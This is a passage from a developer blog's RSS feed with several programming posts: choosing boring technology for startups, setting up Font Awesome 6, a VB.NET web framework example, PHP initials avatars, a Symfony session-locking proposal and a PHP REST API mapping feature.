better marketing and sales.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Investors want tech startups to use a &ldquo;latest technology&rdquo; to gain an &ldquo;unfair
advantage&rdquo; allowing them to compete in an established market. This &ldquo;unfair
advantage&rdquo; may be a reason that the investment is going to pay off. therefore
startups may say that they are using (for instance) blockchain, AI and
distributed systems and that it brings them a lot. The real reason startups can
compete with established players is that they are small and efficient with a
clear focus on what to build and no customers that slow them down. These things
are also called &ldquo;second-mover&rdquo; advantages. But in my experience few startups
dare to say they are using second mover advantages and are planning to win with
better marketing and sales.</p>
<h3 id="complexity-advantages">Complexity advantages</h3>
<p>Unfortunately both management and development benefit from technological
complexity. Developers like to work in an &ldquo;innovative environment&rdquo;, they like to
work on &ldquo;interesting problems&rdquo; not yet another CRUD application. It is better
for their career as experience with cutting edge technology is a reason for
higher pay, due to knowledge scarcity on these new (often hyped) technologies.
They won&rsquo;t get pushed so hard to produce and get plenty of time to learn new
things. Management will find it easier to hire people and can easier explain the
high salaries they need to pay. Also managing more expensive engineers makes
managers&rsquo; jobs more important when evaluated by the board. One could say that
the managers and developers are more than happy to fail as they change jobs
frequently and the startup success may even be threat to them (real customers,
real demands, real deadlines).</p>
<h3 id="so-now-what">So now what?</h3>
<p>I think we can all agree that technology choices are strategical. A startup
should hire a skeptical software architect as CTO, not a latest tech lover. That
architect should be allowed to make technology choices (programming language,
database systems, application frameworks) and the company should stick to the
choices made. Automated testing (including performance) should be taken into
account from the start as those ensure a healthy software system. A centralized
monolithic application may not be a popular choice, but nobody can argue it&rsquo;s
low complexity and low costs. Don&rsquo;t dive into micro services or other forms of
distributed applications if you don&rsquo;t need to. Most software can be build with a
team of 3-4 developers. Add some people that focus on testing and documentation
and you get a reasonable sized team.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Many startups will say they use &ldquo;latest&rdquo; technology as investors and employees
want to hear that. If you are a second mover (lots of startups are) then it&rsquo;s my
opinion that you shouldn&rsquo;t do this. Choose boring technology, set a clear goal,
focus and invest in better sales and marketing.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.linkedin.com/pulse/boring-technology-business-advantage-james-j-griffin">Boring Technology is A Business Advantage</a></li>
<li><a href="https://boringtechnology.club/">Choose Boring Technology</a></li>
<li><a href="https://tqdev.com/2018-the-boring-software-manifesto">The &ldquo;Boring Software&rdquo; manifesto</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Getting started with Font Awesome 6</title>
      <link>https://www.tqdev.com/2022-getting-started-with-fontawesome-6/</link>
      <pubDate>Sat, 17 Sep 2022 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-getting-started-with-fontawesome-6/</guid>
      <description>&lt;p&gt;When you want to integrate the
&lt;a href=&#34;https://github.com/FortAwesome/Font-Awesome/blob/6.x/LICENSE.txt&#34;&gt;free&lt;/a&gt; Font
Awesome icons in your application or website you are asked to &amp;ldquo;Enter your email
to get started with a free Kit!&amp;rdquo; (&lt;a href=&#34;&#34;&gt;source&lt;/a&gt;). It was always possible to just
copy a single line in the head of your HTML. Fortunately this is still possible,
this post will explain how. It will also show where to download the distribution
for self hosting Font Awesome in your web site or web application.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When you want to integrate the
<a href="https://github.com/FortAwesome/Font-Awesome/blob/6.x/LICENSE.txt">free</a> Font
Awesome icons in your application or website you are asked to &ldquo;Enter your email
to get started with a free Kit!&rdquo; (<a href="">source</a>). It was always possible to just
copy a single line in the head of your HTML. Fortunately this is still possible,
this post will explain how. It will also show where to download the distribution
for self hosting Font Awesome in your web site or web application.</p>
<h3 id="get-started-with-a-cdn">Get started with a CDN</h3>
<p>Okay, so all you need to do is put the following line between the &ldquo;&lt;head&gt;&rdquo;
and &ldquo;&lt;/head&gt;&rdquo; tags in your HTML:</p>
<pre><code>&lt;link rel=&quot;stylesheet&quot; href=&quot;https://unpkg.com/@fortawesome/fontawesome-free@6.2.0/css/all.min.css&quot;&gt;
</code></pre>
<p>Now you can test that it works by pasting this snippet in your HTML:</p>
<pre><code>&lt;i class=&quot;fa-solid fa-house&quot;&gt;&lt;/i&gt;
</code></pre>
<p>This should display the &ldquo;home&rdquo; icon. If you want to search the 2000+ free icons,
search them <a href="https://fontawesome.com/search?o=r&amp;m=free">here</a>.</p>
<h3 id="download-for-self-hosting">Download for self hosting</h3>
<p>If you are building a web site or web application and you want to host the 2000+
free icons of Font Awesome on your own domain, then you can download the set
from:</p>
<p><a href="https://github.com/FortAwesome/Font-Awesome/releases">https://github.com/FortAwesome/Font-Awesome/releases</a></p>
<p>There is a file named &ldquo;fontawesome-free-6.2.0-web.zip&rdquo; which is about 6 megabyte
in size and has the following structure:</p>
<pre><code>.
├── css
├── js
├── less
├── metadata
├── scss
├── sprites
├── svgs
│   ├── brands
│   ├── regular
│   └── solid
└── webfonts
</code></pre>
<p>You can place this is the document root of your web server in the folder
&ldquo;fontawesome-free&rdquo; and then add the following link in the head of your HTML:</p>
<pre><code>&lt;link rel=&quot;stylesheet&quot; href=&quot;/fontawesome-free/css/all.min.css&quot;&gt;
</code></pre>
<p>Easy isn&rsquo;t it? No need to enter your e-mail address for some &ldquo;Kit&rdquo;, whatever it
may be.</p>
<p>Happy programming!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Web development in Visual Basic .NET 6</title>
      <link>https://www.tqdev.com/2022-web-development-in-visual-basic-net-6/</link>
      <pubDate>Wed, 24 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-web-development-in-visual-basic-net-6/</guid>
      <description>&lt;p&gt;In 2015 I was working on a
&lt;a href=&#34;https://github.com/maussoft/mvc&#34;&gt;Simple web framework for .NET&lt;/a&gt;. Back then I
wanted to create an MVC framework that would allow me to run .NET web
applications on Linux. Last year I ported the code .NET 5 (cross-platform now)
and today I updated the code to support .NET 6. In this post I will show how to
write a Visual Basic web application.&lt;/p&gt;
&lt;h2 id=&#34;install-net-6-on-ubuntu-2204&#34;&gt;Install .NET 6 on Ubuntu 22.04&lt;/h2&gt;
&lt;p&gt;If you are not on Windows and cannot install
&lt;a href=&#34;https://visualstudio.microsoft.com/vs/community/&#34;&gt;Visual Studio Community Edition 2022&lt;/a&gt;
then these instructions may be welcome to you. On Ubuntu 22.04 you need to
execute:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In 2015 I was working on a
<a href="https://github.com/maussoft/mvc">Simple web framework for .NET</a>. Back then I
wanted to create an MVC framework that would allow me to run .NET web
applications on Linux. Last year I ported the code .NET 5 (cross-platform now)
and today I updated the code to support .NET 6. In this post I will show how to
write a Visual Basic web application.</p>
<h2 id="install-net-6-on-ubuntu-2204">Install .NET 6 on Ubuntu 22.04</h2>
<p>If you are not on Windows and cannot install
<a href="https://visualstudio.microsoft.com/vs/community/">Visual Studio Community Edition 2022</a>
then these instructions may be welcome to you. On Ubuntu 22.04 you need to
execute:</p>
<pre><code>sudo apt install dotnet6
</code></pre>
<p>Now you have the &ldquo;<code>dotnet</code>&rdquo; command on your command line and I would recommend
that you install Visual Studio Code and the VB.NET extension &ldquo;VB.NET Grammars
and Snippets&rdquo; and &ldquo;aspnet-beautify&rdquo;.</p>
<h2 id="how-to-get-started">How to get started</h2>
<p>Would you like to play with this minimalistic MVC framework? First you need to
check whether or not you can clone and run the example project:</p>
<pre><code>git clone https://github.com/maussoft/mvc-example-vb
cd mvc-example-vb
dotnet run
</code></pre>
<p>Now you have the following directories in your project directory:</p>
<ul>
<li>bin/ (ignored, where the executables are stored)</li>
<li>obj/ (ignored, where the intermediate binaries are stored)</li>
<li>tools/ (this is where the view generator task is stored)</li>
<li>Content/ (this is where the Javascript, CSS and images are stored)</li>
<li>Controllers/ (your controller classes)</li>
<li>Views/ (your views with a subdirectory for every controller)</li>
<li>Acme.Example.vbproj (your project file)</li>
<li>Application.vb (the entry point of your application, with function &ldquo;Main&rdquo; )</li>
<li>Session.vb (the session object that is available on every action)</li>
<li>appsettings.json (the settings of the application)</li>
</ul>
<p>Now let me show you how to add some code.</p>
<h2 id="writing-the-code">Writing the code</h2>
<p>The webserver uses the following session class in <code>Session.vb</code>:</p>
<pre><code>Imports System.Collections.Generic

Public Class Session
    Public Property Items As New List(Of String)
End Class
</code></pre>
<p>This Session class can hold (todo) items in a list.</p>
<p>Now let&rsquo;s create a simple controller in <code>Controllers/Todo.vb</code>:</p>
<pre><code>Imports Maussoft.Mvc

Namespace Controllers
    Public Class Todo
        
        Public Sub Add(context As WebContext(Of Session))
            context.Data.Title = &quot;Add Todo&quot;
            If context.Method = &quot;POST&quot; Then
                context.Data.Values = New ViewData(context.Post)
                context.Data.Errors = New ViewData()
                If context.Data.Values.Item.Length = 0 Then
                    context.Data.Errors.Item = &quot;Field is mandatory&quot;
                End If
                If context.Data.Errors.Empty() Then
                    context.Session.Items.Add(context.Data.Values.Item)
                    context.Redirect(&quot;/Todo&quot;)
                    Return
                End If
            Else
                context.Data.Values = New ViewData()
            End If
        End Sub

        Public Sub Index(context As WebContext(Of Session))
            context.Data.Title = &quot;List Todos&quot;
        End Sub

    End Class

End Namespace
</code></pre>
<p>Then create a Layout in <code>Views/Layouts/Default.aspx</code>:</p>
<pre><code>&lt;%@ Master %&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
    &lt;head&gt;
        &lt;title&gt;
            &lt;%= Context.Data.Title %&gt;
        &lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
      &lt;% RenderViewContent() %&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>And add a view in <code>Views/Todo/Add.aspx</code>:</p>
<pre><code>&lt;%@ Page Inherits=&quot;Layouts.Default&quot; %&gt;
&lt;form method=&quot;post&quot;&gt;
    &lt;div&gt;
        &lt;label&gt;Item&lt;/label&gt;&lt;br&gt;
        &lt;input type=&quot;text&quot; name=&quot;Item&quot; value=&quot;&lt;%= Context.Data.Values.Item %&gt;&quot; /&gt;&lt;br&gt;
        &lt;% If Context.Data.Errors?.Item.Length Then %&gt;
            &lt;span&gt;&lt;%= Context.Data.Errors.Item %&gt;&lt;/span&gt;&lt;br&gt;
        &lt;% End If %&gt;
        &lt;input type=&quot;submit&quot; value=&quot;Add&quot; /&gt;
    &lt;/div&gt;
&lt;/form&gt;
</code></pre>
<p>And another view in <code>Views/Todo/Index.aspx</code>:</p>
<pre><code>&lt;%@ Page Inherits=&quot;Layouts.Default&quot; %&gt;
&lt;ul&gt;
    &lt;% For Each item in Context.Session.Items %&gt;
        &lt;li&gt;&lt;%= item %&gt;&lt;/li&gt;
    &lt;% Next %&gt;
&lt;/ul&gt;
&lt;a href=&quot;/Todo/Add&quot;&gt;Add&lt;/a&gt;
</code></pre>
<p>And then run the application using:</p>
<pre><code>dotnet run
</code></pre>
<p>And access it on:</p>
<p><a href="http://localhost:2345/Todo">http://localhost:2345/Todo</a></p>
<p>You will see a very simple Todo application with a list stored in the Session.</p>
<p>See:
<a href="https://www.nuget.org/packages/Maussoft.Mvc">https://www.nuget.org/packages/Maussoft.Mvc</a></p>
<p>Happy programming!</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.nuget.org/packages/Maussoft.Mvc">Maussoft.Mvc nuget package</a></li>
<li><a href="https://github.com/maussoft/mvc-example-vb">Maussoft.Mvc VB.net example</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Generate avatars with initials in PHP</title>
      <link>https://www.tqdev.com/2022-generate-avatars-initials-php/</link>
      <pubDate>Fri, 19 Aug 2022 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-generate-avatars-initials-php/</guid>
      <description>&lt;p&gt;For a mobile app I&amp;rsquo;m doing some front-end development and the design includes a
lot of avatars. Unfortunately we don&amp;rsquo;t have any avatars of our users.
Fortunately we do have their names and I&amp;rsquo;ve learned from Outlook and Trello that
you can make great avatars with a user&amp;rsquo;s initials. In this post I show how to do
this using PHP.&lt;/p&gt;
&lt;h3 id=&#34;our-goal&#34;&gt;Our goal&lt;/h3&gt;
&lt;p&gt;The target is to create the following avatar with initials &amp;ldquo;MS&amp;rdquo; for my name
&amp;ldquo;Maurits van der Schee&amp;rdquo;:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>For a mobile app I&rsquo;m doing some front-end development and the design includes a
lot of avatars. Unfortunately we don&rsquo;t have any avatars of our users.
Fortunately we do have their names and I&rsquo;ve learned from Outlook and Trello that
you can make great avatars with a user&rsquo;s initials. In this post I show how to do
this using PHP.</p>
<h3 id="our-goal">Our goal</h3>
<p>The target is to create the following avatar with initials &ldquo;MS&rdquo; for my name
&ldquo;Maurits van der Schee&rdquo;:</p>
<p><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" style="max-width:100px"><circle r="50" cy="50" cx="50" style="fill:#8e24aa"></circle><text x="50" y="50" dominant-baseline="central" text-anchor="middle"     style="font-size:45px;fill:white;">MS</text></svg></p>
<p>Code:</p>
<pre><code>&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 100 100&quot;&gt;
  &lt;circle r=&quot;50&quot; cy=&quot;50&quot; cx=&quot;50&quot; style=&quot;fill:#8e24aa&quot;&gt;&lt;/circle&gt;
  &lt;text x=&quot;50&quot; y=&quot;50&quot; dominant-baseline=&quot;central&quot; text-anchor=&quot;middle&quot; 
    style=&quot;font-size:45px;fill:white;&quot;&gt;MS&lt;/text&gt;
&lt;/svg&gt;
</code></pre>
<p>Note that we set &ldquo;<code>display:block</code>&rdquo; on the SVG element to avoid a
<a href="https://stackoverflow.com/questions/22337292/spurious-margin-on-svg-element">spurious margin</a>.
We use a &ldquo;<code>viewBox</code>&rdquo;, so that the SVG is automatically scaled. Be careful to
scale the SVG by setting a CSS &ldquo;<code>width</code>&rdquo; on the container, using &ldquo;<code>height</code>&rdquo;
won&rsquo;t work.</p>
<h3 id="convert-a-name-to-initials">Convert a name to initials</h3>
<p>The following code converts &ldquo;Maurits van der Schee&rdquo; to &ldquo;MS&rdquo;:</p>
<pre><code>function getCapitals(string $name): string
{
    $capitals = '';
    $words = preg_split('/[\s-]+/', $name);
    $words = [array_shift($words), array_pop($words)];
    foreach ($words as $word) {
        if (ctype_digit($word) &amp;&amp; strlen($word) == 1) {
            $capitals .= $word;
        } else {
            $first = grapheme_substr($word, 0, 1);
            $capitals .= ctype_digit($first) ? '' : $first;
        }
    }
    return strtoupper($capitals);
}
</code></pre>
<p>Some test cases:</p>
<pre><code>Maurits van der Schee =&gt; MS
M.E. van der Schee =&gt; MS
Maurits 2 =&gt; M2
Maurits 1234 =&gt; M
maurits test =&gt; MT
Maurits-Eduard =&gt; ME
</code></pre>
<p>Note that there is an exception for a single digit word.</p>
<h3 id="select-a-good-color">Select a good color</h3>
<p>We want a random color that is always the same for the same name. therefore we
use a hash function to create a unique number that we then convert to an index
using a modulo operator, see:</p>
<pre><code>function getColor(string $name): string
{
    // level 600, see: materialuicolors.co
    $colors = [
        '#e53935', // red
        '#d81b60', // pink
        '#8e24aa', // purple
        '#5e35b1', // deep-purple
        '#3949ab', // indigo
        '#1e88e5', // blue
        '#039be5', // light-blue
        '#00acc1', // cyan
        '#00897b', // teal
        '#43a047', // green
        '#7cb342', // light-green
        '#c0ca33', // lime
        '#fdd835', // yellow
        '#ffb300', // amber
        '#fb8c00', // orange
        '#f4511e', // deep-orange
        '#6d4c41', // brown
        '#757575', // grey
        '#546e7a', // blue-grey
    ];
    $unique = hexdec(substr(md5($name), -8));
    return $colors[$unique % count($colors)];
}
</code></pre>
<p>The colors are taken from the script that colors the
<a href="https://commons.wikimedia.org/wiki/Emoji_One_colored_circles">Emoji One colored circles</a>
as published on Wikimedia.</p>
<h3 id="inline-svg-or-data-uri">Inline SVG or data URI?</h3>
<p>Instead of using inline SVG generated by PHP you may also use a Base64 encoded
data URI containing svg+xml. The advantage of inline SVG is that it will inherit
the font of the container, while a data URI solution must specify a font to
ensure consistent rendering. The data URI solution may be easier to integrate or
turn into a service (as some have done).</p>
<h3 id="is-png-better-than-svg">Is PNG better than SVG?</h3>
<p>PNG is more expensive to render and will likely result in larger file size. PNG
will result in 100% consistent rendering on all platforms, while SVG may have
small differences due to the different SVG rendering engines used. Since SVG is
a vector format you can use a single file at all sizes, while the PNG must be
rendered at specified size (in pixels).</p>
<h3 id="htmlcss-instead-of-svg">HTML/CSS instead of SVG</h3>
<p>We can also use HMTL+CSS instead of SVG. To do so we need to use the following
PHP code:</p>
<pre><code>&lt;div class=&quot;initials-avatar large&quot; 
  style=&quot;background: &lt;?= getColor($name); ?&gt;;&quot;&gt;
    &lt;?= getCapitals($name); ?&gt;
&lt;/div&gt;
</code></pre>
<p>And also load the related CSS code:</p>
<pre><code>.initials-avatar {
    display: inline-flex;
    flex-direction: column;
    justify-content: center;
    text-align: center;
    vertical-align: middle;
    border-radius: 50%;
    line-height: 1;
    background: grey;
    color: white;
}
.initials-avatar.large {
    width: 100px;
    height: 100px;
    font-size: 45px;
}
</code></pre>
<p>This looks like:</p>
<div class="initials-avatar large" style="display:inline-flex;flex-direction:column;justify-content:center;text-align:center;vertical-align:middle;border-radius:50%;line-height:1;background:grey;color:white;width:100px;height:100px;font-size:45px;background:#8e24aa;">MS</div><br><br>
<p>This last solution (PHP + HTML/CSS) is my favorite.</p>
<h3 id="future-work">Future work</h3>
<p>I have submitted the ideas in this post as issues on Edward Jibson&rsquo;s excellent
<a href="https://github.com/eddiejibson/avatars">avatar repository</a> and I will also
explore the possibility of making initials avatars using HTML/CSS+Javascript as
explored by <a href="https://codepen.io/felipepucinelli/pen/QyVJbM">Felipe Pucinelli</a> on
CodePen.</p>
<p>Edit: I created <a href="https://codepen.io/mevdschee/pen/GRxzaZP">a CodePen</a> too.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://commons.wikimedia.org/wiki/Emoji_One_colored_circles">Wikimedia - Emoji One colored circles</a></li>
<li><a href="https://github.com/eddiejibson/avatars">Github - Edward Jibson - Avatar repository</a></li>
<li><a href="https://avatar.oxro.io/">oxro.io - Initials Avatar Generator API</a></li>
<li><a href="https://ui-avatars.com/">UI Avatars - Generate avatars with initials from names</a></li>
<li><a href="https://codepen.io/felipepucinelli/pen/QyVJbM">CodePen - Felipe Pucinelli - Initials Avatar Generator</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Proposal to fix a 2012 bug in Symfony </title>
      <link>https://www.tqdev.com/2022-proposal-to-fix-a-2012-bug-in-symfony/</link>
      <pubDate>Sat, 28 May 2022 18:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-proposal-to-fix-a-2012-bug-in-symfony/</guid>
      <description>&lt;p&gt;When your Symfony (PHP web framework) project uses AJAX requests and sessions
(logging in) you may run into this 2012 bug where Symfony does not lock the
session allowing for data loss on concurrent AJAX requests. I fixed the bug in
2014 in the &lt;a href=&#34;https://github.com/snc/SncRedisBundle&#34;&gt;SncRedisBundle&lt;/a&gt;, but that
merge was
&lt;a href=&#34;https://github.com/snc/SncRedisBundle/commit/202abcec4bf4c388b9d43ecba4914eaf0354d35f&#34;&gt;reverted&lt;/a&gt;
last year, creating an issue for some high traffic sites. In this post I propose
a better solution for Symfony.&lt;/p&gt;
&lt;h3 id=&#34;quick-workaround&#34;&gt;Quick workaround&lt;/h3&gt;
&lt;p&gt;The quick workaround is to use the NativeFileSessionHandler class, which uses
the session storage (handler) in the php.ini (using &lt;code&gt;session.save_handler&lt;/code&gt; and
&lt;code&gt;session.save_path&lt;/code&gt;) that does store session files on disk. As long as sessions
are not working reliable (due to lack of locking) I advice to stay away from
Symfony&amp;rsquo;s Redis and Memcache support for session storage and use this native
variant (that does support locking).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When your Symfony (PHP web framework) project uses AJAX requests and sessions
(logging in) you may run into this 2012 bug where Symfony does not lock the
session allowing for data loss on concurrent AJAX requests. I fixed the bug in
2014 in the <a href="https://github.com/snc/SncRedisBundle">SncRedisBundle</a>, but that
merge was
<a href="https://github.com/snc/SncRedisBundle/commit/202abcec4bf4c388b9d43ecba4914eaf0354d35f">reverted</a>
last year, creating an issue for some high traffic sites. In this post I propose
a better solution for Symfony.</p>
<h3 id="quick-workaround">Quick workaround</h3>
<p>The quick workaround is to use the NativeFileSessionHandler class, which uses
the session storage (handler) in the php.ini (using <code>session.save_handler</code> and
<code>session.save_path</code>) that does store session files on disk. As long as sessions
are not working reliable (due to lack of locking) I advice to stay away from
Symfony&rsquo;s Redis and Memcache support for session storage and use this native
variant (that does support locking).</p>
<pre><code>ini_set('session.save_handler', 'files');
ini_set('session.save_path', sys_get_temp_dir());
</code></pre>
<p>See:
<a href="https://github.com/symfony/symfony/blob/6.1/src/Symfony/Component/HttpFoundation/Session/Storage/Handler/NativeFileSessionHandler.php"><code>https://github.com/symfony/symfony/blob/6.1/src/Symfony/Component/HttpFoundation/Session/Storage/Handler/NativeFileSessionHandler.php</code></a></p>
<h3 id="performance-impact">Performance impact</h3>
<p>Some people argue that locking is bad for performance and they are right. It is
bad to lock a session on a single action as this would prevent the same session
to run another action in parallel (using another apache/php thread). You will
mainly notice this is an AJAX heavy application as HTML (top level navigation)
requests are serialized by your browser anyway. This locking is only needed when
the action modifies the session data, which is something we do not know in
advance (or do we?). Hence the following proposal, please read on.</p>
<h3 id="proposal-read-only-sessions">Proposal (read-only sessions)</h3>
<p>What I think would be an optimal solution for both performance and correctness:
I suggest we look at the verb (GET or not) to indicate that the action (may)
write to the session (on POST, PUT or DELETE) or when it should be read-only
(GET). If the action may write to the session we open the session (identified by
the session identifier) with a lock and write it back after the action
completes. If it is a GET (especially when it is an AJAX request) we open the
session in read-only mode and throw an exception when people write to it. Note
that the session cleanup must take these GET requests (with read-only session)
into account by writing an updated timestamp in the session store.</p>
<h3 id="how-to-create-read-only-sessions">How to create read-only sessions</h3>
<p>If you want to implement &ldquo;read-only&rdquo; session you shouldn&rsquo;t use the
<code>read_and_close</code> flag that was added in PHP 7. That call does not update session
timestamp and causes session timeouts. In PHP read-only sessions can be achieved
by calling <code>session_write_close</code> just after <code>session_start</code>. Although this may
feel sub-optimal it is actually isn&rsquo;t if your session save handler implements
the &ldquo;SessionUpdateTimestampHandlerInterface&rdquo;. If it does then <code>updateTimestamp</code>
is called instead of <code>write</code> when <code>session_write_close</code> is called without
modifications to the session data. This takes away most of the performance
concerns.</p>
<p>See:
<a href="https://stackoverflow.com/questions/37789172/php-session-randomly-dies-when-read-and-close-is-active"><code>https://stackoverflow.com/questions/37789172/php-session-randomly-dies-when-read-and-close-is-active</code></a></p>
<h3 id="two-new-options-for-session-start">Two new options for session start?</h3>
<p>I expected the <code>read_and_close</code> flag to NOT lock the session (which it does) and
expected that it DOES update the session timestamp (which it doesn&rsquo;t). That&rsquo;s
because I assumed it was added to facilitate read-only sessions. I guess it has
a different use case. That being said I would have liked a <code>read_only</code> option in
the <code>session_start</code> function that does update the session timestamp. The
<code>read_only</code> option may block very briefly to ensure serialization and thus
consistency. I would also like to also have a <code>read_stale</code> option that doesn&rsquo;t
use locks at all (but also does update the session timestamp).</p>
<h3 id="readonly-exceptions">Readonly exceptions</h3>
<p>Proposed solution: When people write to the session (or to the database) on a
GET request you throw an error unless an annotation is set (to allow
non-readonly behavior). This requires an alternative to the &ldquo;stateless&rdquo;
annotation of the route, called &ldquo;readonly&rdquo;, which is less strict and is used to
mark readonly exceptions (non-readonly on GET requests or readonly on non-GET
requests).</p>
<pre><code>// src/Controller/MainController.php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\Routing\Annotation\Route;

class MainController extends AbstractController
{
    /**
     * @Route(&quot;/&quot;, name=&quot;homepage&quot;, readonly=false)
     */
    public function homepage()
    {
        // ...
    }
}
</code></pre>
<p>Note that the <code>readonly=false</code> annotation is part of this proposal and not
actually supported by Symfony (yet).</p>
<p>See:
<a href="https://symfony.com/doc/current/routing.html#stateless-routes"><code>https://symfony.com/doc/current/routing.html#stateless-routes</code></a></p>
<h3 id="warnings-and-errors-write-to-the-session">Warnings and errors write to the session</h3>
<p>Symfony promotes the use of a session stored &ldquo;FlashBag&rdquo; to transfer warnings and
errors from one route to the next. This allows for the &ldquo;Post/Redirect/Get&rdquo; (PRG)
pattern, having different routes for the form retrieval and the form submission
action. This may seem to simplify the controller implementation, but I&rsquo;m not
even sure that it does. From a performance perspective I&rsquo;m not a fan of this
pattern as it increases the number of session writes.</p>
<p>See:
<a href="https://stackoverflow.com/questions/10827242/understanding-the-post-redirect-get-pattern"><code>https://stackoverflow.com/questions/10827242/understanding-the-post-redirect-get-pattern</code></a></p>
<h3 id="csrf-tokens-write-to-the-session">CSRF tokens write to the session</h3>
<p>Cross Site Request Forgery (CSRF) protection avoids blind form submission in
case of XSS vulnerabilites. This type of form submission protection uses CSRF
tokens that writes to the session on every form retrieval request (in Symfony).
Although that may certainly be true for Symfony, that is not a necessity for
CSRF protection, as you can read here:</p>
<blockquote>
<p>CSRF tokens should be generated on the server-side. They can be generated once
per user session or for each request. Per-request tokens are more secure than
per-session tokens as the time range for an attacker to exploit the stolen
tokens is minimal. However, this may result in usability concerns.</p></blockquote>
<p>See:
<a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#synchronizer-token-pattern"><code>https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#synchronizer-token-pattern</code></a></p>
<h3 id="conclusion">Conclusion</h3>
<p>Writing reliably to the session requires session locking. Symfony does not lock
sessions in it&rsquo;s session implementation(s), while PHP natively does. Session
locking has performance impact and the number of session locks should be
reduced. PHP (core) does support a form of read-only sessions by closing the
session directly after starting it. Symfony on the other hand is not promoting
readonly sessions with in it&rsquo;s Flashbag and CSRF implementations (that write to
the session). Proper session locking seems to be a problem people don&rsquo;t
understand very well. I hope this post helps.</p>
<p>See:
<a href="https://github.com/symfony/symfony/issues/4976"><code>https://github.com/symfony/symfony/issues/4976</code></a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Add a REST API to an existing database</title>
      <link>https://www.tqdev.com/2022-add-rest-api-existing-database/</link>
      <pubDate>Thu, 28 Apr 2022 19:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2022-add-rest-api-existing-database/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve written PHP-CRUD-API (3k Github stars) that lets you publish an instant
REST API for an existing database. The latest version supports a mapping to
allow you to clean up the names of your tables and columns. Other important
features such as authentication and authorization were already supported. This
recent addition makes the software better suited to publish a modern API on
legacy systems (that run on MySQL, PostgreSQL or SQL Server).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;ve written PHP-CRUD-API (3k Github stars) that lets you publish an instant
REST API for an existing database. The latest version supports a mapping to
allow you to clean up the names of your tables and columns. Other important
features such as authentication and authorization were already supported. This
recent addition makes the software better suited to publish a modern API on
legacy systems (that run on MySQL, PostgreSQL or SQL Server).</p>
<h3 id="example-mapping-configuration">Example mapping configuration</h3>
<p>The config allows you to rename tables and columns with a comma separated list
of mappings that are split with an equal sign, like this:</p>
<pre><code>'mapping' =&gt; 'wp_posts=posts,wp_posts.ID=posts.id',
</code></pre>
<p>This specific example will expose the &ldquo;<code>wp_posts</code>&rdquo; table at a &ldquo;<code>posts</code>&rdquo;
end-point (instead of &ldquo;<code>wp_posts</code>&rdquo;) and the column &ldquo;<code>ID</code>&rdquo; within that table as
the &ldquo;<code>id</code>&rdquo; property (in lower case instead of upper case).</p>
<p>NB: Since these two mappings overlap the first (less specific) mapping may be
omitted.</p>
<h3 id="supporting-existing-databases">Supporting existing databases</h3>
<p>In order to publish an API for your existing database you may require the
following features:</p>
<ul>
<li>mapping: expose tables and columns with better suited naming trough a mapping</li>
<li>authentication: require users to identify themselves when accessing data</li>
<li>authorization: allow certain users access to certain tables and operations</li>
</ul>
<p>If your database holds geospatial data then it may benefit from the geospatial
and GeoJSON support.</p>
<h3 id="advantages-over-a-custom-api">Advantages over a custom API</h3>
<p>A generated REST API may have 3 important quality advantages over writing your
own API software:</p>
<ul>
<li>consistency: generation of the API ensures consistency of all API end-points</li>
<li>performance: this code has been battle tested to have fairly good performance</li>
<li>documentation: your API will have an OpenAPI specification and documentation</li>
</ul>
<p>I think that these advantages are essential to making a good API and are
otherwise hard to get right.</p>
<h3 id="learn-more">Learn more</h3>
<p>You can visit the Github project page to learn more about this project:</p>
<p><a href="https://github.com/mevdschee/php-crud-api">https://github.com/mevdschee/php-crud-api</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Bitlocker startup key on an EFI partition</title>
      <link>https://www.tqdev.com/2021-bitlocker-startup-key-on-a-hidden-partition/</link>
      <pubDate>Thu, 24 Mar 2022 15:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-bitlocker-startup-key-on-a-hidden-partition/</guid>
      <description>&lt;p&gt;Windows 10 professional supports full disk encryption with a PIN and a Trusted
Platform Module (TPM) chip with it&amp;rsquo;s Bitlocker technology. If you don&amp;rsquo;t have (or
believe in) TPM you can use either a pass-phrase or a USB startup key (file on a
USB stick) to unlock your Bitlocker encrypted drive. When I apply full disk
encryption on machines at the office it is to protect the data in case of
computer theft. For machines that have a single user (me) I use a pass-phrase
while for machines have multiple users I use a USB startup key. I carry the USB
startup key on my key chain. Using a pass-phrase or USB startup key makes the
confidentiality of the data on the system easier to understand and reason about,
which attributes to real security.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Windows 10 professional supports full disk encryption with a PIN and a Trusted
Platform Module (TPM) chip with it&rsquo;s Bitlocker technology. If you don&rsquo;t have (or
